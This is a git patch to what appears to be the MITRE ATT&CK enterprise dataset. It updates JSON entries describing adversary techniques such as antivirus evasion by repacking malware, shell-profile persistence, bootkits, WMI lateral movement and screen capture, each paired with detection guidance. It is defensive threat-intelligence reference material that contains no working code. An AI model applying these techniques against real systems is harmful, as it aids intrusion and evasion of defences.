From bf0ae0abb5c31e857ca642dcf1c2bf8eadf3f767 Mon Sep 17 00:00:00 2001
From: John Wunder <jwunder@mitre.org>
Date: Tue, 16 Jan 2018 17:50:24 -0500
Subject: [PATCH] content from the Jan 16, 2018 update

---
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 create mode 100644 enterprise-attack/relationship/relationship--c74f0442-88c6-4f2b-abb1-c2f269a93d69.json
 create mode 100644 enterprise-attack/relationship/relationship--cb69217e-f063-4093-bcf0-f051ecd42e25.json
 create mode 100644 enterprise-attack/relationship/relationship--cc13f316-0f88-4ed1-8790-b13bc35be119.json
 create mode 100644 enterprise-attack/relationship/relationship--cc495391-9abd-4df1-8ad7-ec8d84feaeb9.json
 create mode 100644 enterprise-attack/relationship/relationship--cc705bf0-ba29-443e-9cd5-aef247505210.json
 create mode 100644 enterprise-attack/relationship/relationship--cd58d271-9ee2-45d6-9ca3-22ae8da639b5.json
 create mode 100644 enterprise-attack/relationship/relationship--cd70a632-a961-4adb-aea9-9995ef8e2b54.json
 create mode 100644 enterprise-attack/relationship/relationship--cdbfa147-52be-411d-bcbd-f6dcbf91d7b5.json
 create mode 100644 enterprise-attack/relationship/relationship--ce288414-89f3-40d4-9a85-004d8a064eb4.json
 create mode 100644 enterprise-attack/relationship/relationship--ce424541-5cfa-4885-ad62-f3f70fa27099.json
 create mode 100644 enterprise-attack/relationship/relationship--ce9dbe5b-1b16-41d6-a7af-a2a1b33c4552.json
 create mode 100644 enterprise-attack/relationship/relationship--d078f862-c090-4e79-808b-ff69887a920c.json
 create mode 100644 enterprise-attack/relationship/relationship--d07f2da6-6497-414f-96c1-9dd60155b169.json
 create mode 100644 enterprise-attack/relationship/relationship--d0b2e189-e764-44ec-9373-2f23212f6a45.json
 create mode 100644 enterprise-attack/relationship/relationship--d18d4353-e344-4759-b51b-ed39ab2b5f46.json
 create mode 100644 enterprise-attack/relationship/relationship--d20b659b-3595-4171-9beb-668ab26bf398.json
 create mode 100644 enterprise-attack/relationship/relationship--d219ed2b-2877-450f-9a69-a30f36497d14.json
 create mode 100644 enterprise-attack/relationship/relationship--d2560c35-b2f6-47d2-b573-236ef99894d5.json
 create mode 100644 enterprise-attack/relationship/relationship--d2858dfa-504f-416d-8801-41a1a9561f22.json
 create mode 100644 enterprise-attack/relationship/relationship--d2bc1c1b-987b-4a1a-b488-8199f8113697.json
 create mode 100644 enterprise-attack/relationship/relationship--d2fa2382-dcfc-4cff-969b-2b5ec12dc406.json
 create mode 100644 enterprise-attack/relationship/relationship--d329d311-422b-4144-9212-aa7da4dc273a.json
 create mode 100644 enterprise-attack/relationship/relationship--d36e83a0-5370-4d78-862d-4dbe8921709d.json
 create mode 100644 enterprise-attack/relationship/relationship--d39e3775-9221-4020-b826-edc111e36c7c.json
 create mode 100644 enterprise-attack/relationship/relationship--d3b810ed-0be4-448b-b1ac-aa3a7dd16c91.json
 rename enterprise-attack/relationship/{relationship--5b3ca84d-d1dd-4ec7-b00d-abe1ba205362.json => relationship--d3c8d1a9-9413-4633-9cbf-4bc34bb5054d.json} (72%)
 create mode 100644 enterprise-attack/relationship/relationship--d4f48744-0564-4ef3-bdae-421076912495.json
 create mode 100644 enterprise-attack/relationship/relationship--d57dd9d9-d075-48c4-ae54-ed0aeae575de.json
 create mode 100644 enterprise-attack/relationship/relationship--d6204645-83ff-4b26-a011-9b58bab2d597.json
 create mode 100644 enterprise-attack/relationship/relationship--d691e305-8ce5-40cd-a648-b0dcab329e69.json
 create mode 100644 enterprise-attack/relationship/relationship--d6d66a6f-dbc8-4d7b-b3fc-634f2765429a.json
 create mode 100644 enterprise-attack/relationship/relationship--d6e48ec5-1634-4ddd-865e-0bcb32a1fd1a.json
 create mode 100644 enterprise-attack/relationship/relationship--d6fd820e-09ea-494d-a5f7-9de4431a309d.json
 create mode 100644 enterprise-attack/relationship/relationship--d7bb00a0-fbe6-4622-84ed-be32ff5d8561.json
 create mode 100644 enterprise-attack/relationship/relationship--d7c5e4f4-cede-4a81-b46f-035b9e702e61.json
 create mode 100644 enterprise-attack/relationship/relationship--d8a5e73d-fe56-42d7-a53d-09a90c21308b.json
 create mode 100644 enterprise-attack/relationship/relationship--d8e375a3-f455-4c66-bc63-251f320ec8b1.json
 create mode 100644 enterprise-attack/relationship/relationship--d93265a6-1f92-472b-9e47-48b7863d8171.json
 create mode 100644 enterprise-attack/relationship/relationship--dac7355a-9d13-4155-a053-d0c18fe92f53.json
 create mode 100644 enterprise-attack/relationship/relationship--daf56e8e-ea82-4ef2-bb03-78dd7e6ef3c0.json
 create mode 100644 enterprise-attack/relationship/relationship--dbccbeab-26c9-476e-b529-c193f9796cbc.json
 create mode 100644 enterprise-attack/relationship/relationship--dc4e54ed-ca71-4dd1-a61e-714222c0c76d.json
 create mode 100644 enterprise-attack/relationship/relationship--deb7df24-689e-4e4e-909f-a270241ab65a.json
 create mode 100644 enterprise-attack/relationship/relationship--dff84383-c4c5-4974-a33d-9e43526abf49.json
 create mode 100644 enterprise-attack/relationship/relationship--e0301b36-c339-49c5-b257-9ece19152922.json
 create mode 100644 enterprise-attack/relationship/relationship--e0a0966c-7a2f-41b3-962f-3a6b22a5a8a9.json
 create mode 100644 enterprise-attack/relationship/relationship--e0cf8a56-e8e1-43b0-9efc-f167d1cf21de.json
 create mode 100644 enterprise-attack/relationship/relationship--e20b57e5-c010-4b9e-a04e-660daa8b5c87.json
 create mode 100644 enterprise-attack/relationship/relationship--e25b4146-2f52-4c5b-a1f8-3e868e767f84.json
 create mode 100644 enterprise-attack/relationship/relationship--e2b4bcf2-58a6-49ed-bc72-21226ff419bd.json
 create mode 100644 enterprise-attack/relationship/relationship--e30c24d3-d440-4395-88b3-3192a02c4364.json
 create mode 100644 enterprise-attack/relationship/relationship--e3909a5f-ebfb-48e1-b0fc-5737217a994b.json
 create mode 100644 enterprise-attack/relationship/relationship--e39b5b63-b29a-4322-9dca-8bca7dedf474.json
 create mode 100644 enterprise-attack/relationship/relationship--e3b79cfa-6ea8-4e7a-85f8-9862702d466a.json
 create mode 100644 enterprise-attack/relationship/relationship--e46836e5-8ffe-45e5-9398-bb9fbb3a4aeb.json
 create mode 100644 enterprise-attack/relationship/relationship--e590aaaa-40fd-4f61-93f3-f2d6daee65a4.json
 create mode 100644 enterprise-attack/relationship/relationship--e59e9443-740a-4e2b-a775-8ae59ceb3844.json
 create mode 100644 enterprise-attack/relationship/relationship--e603a78c-ecbc-46b2-95cc-08251c1faea9.json
 create mode 100644 enterprise-attack/relationship/relationship--e68ff1c2-ef03-486b-96df-167a1652a97b.json
 create mode 100644 enterprise-attack/relationship/relationship--e76b1b21-17c1-4e3b-ac3a-92fb8afc4130.json
 create mode 100644 enterprise-attack/relationship/relationship--e7714693-e792-44f0-a224-9899df75fced.json
 create mode 100644 enterprise-attack/relationship/relationship--e79c65f4-f9d2-4568-96a4-b6e00d3bad71.json
 create mode 100644 enterprise-attack/relationship/relationship--e7baabf7-9300-432d-aa78-000ac099d4d3.json
 create mode 100644 enterprise-attack/relationship/relationship--e8048bf8-3931-4d6b-b4a6-475ff717cbae.json
 create mode 100644 enterprise-attack/relationship/relationship--e8ce10b4-3b00-40c1-983a-1d87ff9a68ee.json
 create mode 100644 enterprise-attack/relationship/relationship--e9011839-ca57-434d-a0cc-007594247110.json
 create mode 100644 enterprise-attack/relationship/relationship--e94576ee-284c-4782-a6ef-b7dd8a780254.json
 create mode 100644 enterprise-attack/relationship/relationship--e9a2c6b5-c02a-404b-818c-d54915a53952.json
 create mode 100644 enterprise-attack/relationship/relationship--e9b0af76-f6b1-43b0-ac0e-ea23582f575b.json
 create mode 100644 enterprise-attack/relationship/relationship--ea5f9e1f-68fb-46dd-9e09-f66066808d0c.json
 create mode 100644 enterprise-attack/relationship/relationship--eb0307d6-901d-4140-84f9-a08c6a8ea14c.json
 create mode 100644 enterprise-attack/relationship/relationship--eb91c7d8-2cfb-4d8b-905a-d146bc8178e2.json
 create mode 100644 enterprise-attack/relationship/relationship--eb9366d5-2bd1-4d0b-8f55-2305827c20d1.json
 create mode 100644 enterprise-attack/relationship/relationship--ec30b3a9-69b4-4604-9def-db9e904df309.json
 create mode 100644 enterprise-attack/relationship/relationship--ec4d07a2-8c8b-4df8-bb9e-b8c3e23d8dc5.json
 create mode 100644 enterprise-attack/relationship/relationship--ec6002c7-a2ca-4792-8dc4-0f0746768762.json
 create mode 100644 enterprise-attack/relationship/relationship--ec99ea0b-1020-4ccc-bdc8-d545a4d3ccf6.json
 create mode 100644 enterprise-attack/relationship/relationship--ecca0af0-1549-4068-b01d-bab711c491c5.json
 create mode 100644 enterprise-attack/relationship/relationship--ed522c9c-038b-43c0-af66-e81b954104f2.json
 create mode 100644 enterprise-attack/relationship/relationship--edbd751e-29ad-419f-a3ff-9d210453351d.json
 create mode 100644 enterprise-attack/relationship/relationship--ee5e40d0-f72e-4e0b-8b10-cd5c2057cdc0.json
 create mode 100644 enterprise-attack/relationship/relationship--ef1cdbe7-29c9-4be9-a3f7-96e5b7bae031.json
 create mode 100644 enterprise-attack/relationship/relationship--ef318b23-1b8c-4c24-ad20-09c0977a73b3.json
 create mode 100644 enterprise-attack/relationship/relationship--efa2ae6b-8942-4ea2-80ca-b4181dd01427.json
 create mode 100644 enterprise-attack/relationship/relationship--f0b3c919-bf39-4bc9-9488-5f30d5407c54.json
 create mode 100644 enterprise-attack/relationship/relationship--f24d37c0-283d-4f37-8278-07fc75cc0e94.json
 create mode 100644 enterprise-attack/relationship/relationship--f4188b9b-c2fe-41b7-96e0-e28d99671b9d.json
 create mode 100644 enterprise-attack/relationship/relationship--f44478f1-fdd7-4e84-8b96-60e6c6a10683.json
 create mode 100644 enterprise-attack/relationship/relationship--f4865a5c-c17c-408a-94de-2feac0d006fd.json
 create mode 100644 enterprise-attack/relationship/relationship--f52f1b34-a96a-45a0-8cc0-2f138a3f1257.json
 create mode 100644 enterprise-attack/relationship/relationship--f6483534-196c-4540-a456-985594171cd8.json
 create mode 100644 enterprise-attack/relationship/relationship--f661bda3-d524-44b3-aeb0-d8dd8879a569.json
 create mode 100644 enterprise-attack/relationship/relationship--f6915cfa-4c11-4830-bcd8-aa648596b895.json
 create mode 100644 enterprise-attack/relationship/relationship--f6cb3957-be7f-41bf-ad44-3dfbd7a5dfe2.json
 create mode 100644 enterprise-attack/relationship/relationship--f6d23c6b-01c8-4bea-9bc6-2c66fbbbd3ae.json
 create mode 100644 enterprise-attack/relationship/relationship--f81274dc-2f5b-47f7-b91f-70a4ebdfde95.json
 create mode 100644 enterprise-attack/relationship/relationship--fa035513-59b6-4f54-8b85-13ec08849453.json
 create mode 100644 enterprise-attack/relationship/relationship--fa155ccc-b9db-48f6-bb1a-a367596668ad.json
 create mode 100644 enterprise-attack/relationship/relationship--fc1ec654-af35-4a7d-b2f6-54b4d8378cfb.json
 create mode 100644 enterprise-attack/relationship/relationship--fc4dd2b6-63a0-46fe-bfc4-90e58e5d1422.json
 create mode 100644 enterprise-attack/relationship/relationship--fc79f30d-94c8-400e-ab10-21d2a2527788.json
 create mode 100644 enterprise-attack/relationship/relationship--fcf18dc5-8ac0-4ae7-84b9-c47ebd468022.json
 create mode 100644 enterprise-attack/relationship/relationship--fd518b7a-b35d-4689-89f6-525efbeee18f.json
 create mode 100644 enterprise-attack/relationship/relationship--fda1acb3-8e87-4fff-ae19-7e6a2ff9d6c3.json
 create mode 100644 enterprise-attack/relationship/relationship--fdf9f632-03ce-4e8c-88bf-3798bb7f5ef4.json
 create mode 100644 enterprise-attack/relationship/relationship--fe786b29-e621-48e2-84b5-aed35e6930fe.json
 create mode 100644 enterprise-attack/relationship/relationship--fe9c9381-99d7-4798-ab41-3e5cdbda5e21.json
 create mode 100644 enterprise-attack/relationship/relationship--febbf503-d7e5-4896-90b9-35b6a811b19b.json
 create mode 100644 enterprise-attack/tool/tool--5a33468d-844d-4b1f-98c9-0e786c556b27.json
 create mode 100644 enterprise-attack/tool/tool--65370d0b-3bd4-4653-8cf9-daf56f6be830.json
 create mode 100644 enterprise-attack/tool/tool--a1dd2dbd-1550-44bf-abcc-1a4c52e97719.json
 create mode 100644 enterprise-attack/tool/tool--ed7d0cb1-87a6-43b4-9f46-ef1bc56d6c68.json

diff --git a/enterprise-attack/attack-pattern/attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6.json b/enterprise-attack/attack-pattern/attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6.json
index a9407b214c..a02ef3992c 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--24fefa45-7747-4c4c-9f8a-c2508f8cd33c",
+    "id": "bundle--4f3ab4d2-a5c2-444b-8ba4-7d2cf86579f9",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:54.176Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Indicator Removal from Tools",
-            "description": "If a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.\n\nA good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may use Software Packing or otherwise modify the file so it has a different signature, and then re-use the malware.\n\nDetection: The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Process use of network, Anti-virus, Binary file metadata, Process command-line parameters, Process monitoring\n\nDefense Bypassed: Anti-virus, Log analysis, Host intrusion prevention systems",
+            "description": "If a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.\n\nA good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may use Software Packing or otherwise modify the file so it has a different signature, and then re-use the malware.\n\nDetection: The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process use of network, Anti-virus, Binary file metadata, Process command-line parameters, Process monitoring\n\nDefense Bypassed: Anti-virus, Log analysis, Host intrusion prevention systems",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -40,21 +40,9 @@
                 "Host intrusion prevention systems"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055.json b/enterprise-attack/attack-pattern/attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055.json
index ca91a90197..cb28384cef 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--04bdf49a-f253-40c0-8417-f6f079819396",
+    "id": "bundle--813aa0c2-610f-4d6c-a01d-e20977c3b165",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:44.329Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Windows Management Instrumentation",
-            "description": "Windows Management Instrumentation (WMI) is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) (Citation: Wikipedia SMB) and Remote Procedure Call Service (RPCS) (Citation: TechNet RPC) for remote access. RPCS operates over port 135. (Citation: MSDN WMI)\n\nAn adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for Discovery and remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI 2015)\n\nDetection: Monitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect. Perform process monitoring to capture command-line arguments of \"wmic\" and detect commands that are used to perform remote behavior. (Citation: FireEye WMI 2015)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator\n\nSystem Requirements: WMI service, winmgmt, running.\nHost/network firewalls allowing SMB and WMI ports from source to destination.\nSMB authentication.\n\nRemote Support: Yes",
+            "description": "Windows Management Instrumentation (WMI) is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) (Citation: Wikipedia SMB) and Remote Procedure Call Service (RPCS) (Citation: TechNet RPC) for remote access. RPCS operates over port 135. (Citation: MSDN WMI)\n\nAn adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for Discovery and remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI 2015)\n\nDetection: Monitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect. Perform process monitoring to capture command-line arguments of \"wmic\" and detect commands that are used to perform remote behavior. (Citation: FireEye WMI 2015)\n\nPlatforms: Windows\n\nData Sources: Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator\n\nSystem Requirements: WMI service, winmgmt, running.\nHost/network firewalls allowing SMB and WMI ports from source to destination.\nSMB authentication.\n\nRemote Support: Yes",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -58,18 +58,7 @@
                 "Administrator"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ],
             "x_mitre_remote_support": true,
             "x_mitre_system_requirements": [
diff --git a/enterprise-attack/attack-pattern/attack-pattern--01df3350-ce05-4bdf-bdf8-0a919a66d4a8.json b/enterprise-attack/attack-pattern/attack-pattern--01df3350-ce05-4bdf-bdf8-0a919a66d4a8.json
index 555bc7b3c3..f48c73ebfb 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--01df3350-ce05-4bdf-bdf8-0a919a66d4a8.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--01df3350-ce05-4bdf-bdf8-0a919a66d4a8.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d864a41b-beeb-42c8-916d-12661db070e2",
+    "id": "bundle--863191ee-8179-4294-8844-81096a0b2954",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--01df3350-ce05-4bdf-bdf8-0a919a66d4a8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": ".bash_profile and .bashrc",
-            "description": "<code>~/.bash_profile</code> and <code>~/.bashrc</code> are executed in a user's context when a new shell opens or when a user logs in so that their environment is set correctly. <code>~/.bash_profile</code> is executed for login shells and <code>~/.bashrc</code> is executed for interactive non-login shells. This means that when a user logs in (via username and password) to the console (either locally or remotely via something like SSH), <code>~/.bash_profile</code> is executed before the initial command prompt is returned to the user. After that, every time a new shell is opened, <code>~/.bashrc</code> is executed. This allows users more fine grained control over when they want certain commands executed.\n\nMac's Terminal.app is a little different in that it runs a login shell by default each time a new terminal window is opened, thus calling <code>~/.bash_profile</code> each time instead of <code>~/.bashrc</code>.\n\nThese files are meant to be written to by the local user to configure their own environment; however, adversaries can also insert code into these files to gain persistence each time a user logs in or opens a new shell.\n\nDetection: While users may customize their <code>~/.bashrc</code> and <code>~/.bash_profile</code> files , there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters, Process use of network\n\nPermissions Required: User, Administrator",
+            "description": "<code>~/.bash_profile</code> and <code>~/.bashrc</code> are executed in a user's context when a new shell opens or when a user logs in so that their environment is set correctly. <code>~/.bash_profile</code> is executed for login shells and <code>~/.bashrc</code> is executed for interactive non-login shells. This means that when a user logs in (via username and password) to the console (either locally or remotely via something like SSH), <code>~/.bash_profile</code> is executed before the initial command prompt is returned to the user. After that, every time a new shell is opened, <code>~/.bashrc</code> is executed. This allows users more fine grained control over when they want certain commands executed.\n\nMac's Terminal.app is a little different in that it runs a login shell by default each time a new terminal window is opened, thus calling <code>~/.bash_profile</code> each time instead of <code>~/.bashrc</code>.\n\nThese files are meant to be written to by the local user to configure their own environment; however, adversaries can also insert code into these files to gain persistence each time a user logs in or opens a new shell.\n\nDetection: While users may customize their <code>~/.bashrc</code> and <code>~/.bash_profile</code> files , there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters, Process use of network\n\nPermissions Required: User, Administrator",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -39,8 +39,7 @@
             ],
             "x_mitre_platforms": [
                 "Linux",
-                "MacOS",
-                "OS X"
+                "macOS"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688.json b/enterprise-attack/attack-pattern/attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688.json
index adbce673fb..90f59b207a 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--34328aa1-6d4a-4973-8de4-1725bbf91946",
+    "id": "bundle--7dc125d5-142b-4e37-9c06-52661465bb06",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:25.060Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Screen Capture",
-            "description": "Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations.\n\n===Mac===\n\nOn OSX, the native command <code>screencapture</code> is used to capture screenshots.\n\n===Linux===\n\nOn Linux, there is the native command <code>xwd</code>. (Citation: Antiquated Mac Malware)\n\nDetection: Monitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files. Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk. The sensor data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: API monitoring, Process monitoring, File monitoring",
+            "description": "Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations.\n\n===Mac===\n\nOn OSX, the native command <code>screencapture</code> is used to capture screenshots.\n\n===Linux===\n\nOn Linux, there is the native command <code>xwd</code>. (Citation: Antiquated Mac Malware)\n\nDetection: Monitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files. Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk. The sensor data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: API monitoring, Process monitoring, File monitoring",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -38,21 +38,9 @@
                 "File monitoring"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--02fefddc-fb1b-423f-a76b-7552dd211d4d.json b/enterprise-attack/attack-pattern/attack-pattern--02fefddc-fb1b-423f-a76b-7552dd211d4d.json
index dfad979aca..7795c6ba03 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--02fefddc-fb1b-423f-a76b-7552dd211d4d.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--02fefddc-fb1b-423f-a76b-7552dd211d4d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0f2a08d9-c5cb-47c5-9274-4cec3ffeb6d0",
+    "id": "bundle--7af8e67a-a041-4a32-8228-9de09b1d5c17",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--02fefddc-fb1b-423f-a76b-7552dd211d4d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:54.661Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Bootkit",
-            "description": "A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: MTrends 2016)\n\nAdversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\n===Master Boot Record===\nThe MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)\n\n===Volume Boot Record===\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.\n\nDetection: Perform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis.\n\nPlatforms: Linux, Windows 10, Windows 7, Windows 8, Windows 8.1, Windows Server 2003, Windows Server 2003 R2, Windows Server 2008, Windows Server 2008 R2, Windows Server 2012, Windows Server 2012 R2, Windows Vista, Windows XP\n\nData Sources: API monitoring, MBR, VBR\n\nPermissions Required: Administrator, SYSTEM",
+            "description": "A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: MTrends 2016)\n\nAdversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\n===Master Boot Record===\nThe MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)\n\n===Volume Boot Record===\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.\n\nDetection: Perform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis.\n\nPlatforms: Linux, Windows\n\nData Sources: API monitoring, MBR, VBR\n\nPermissions Required: 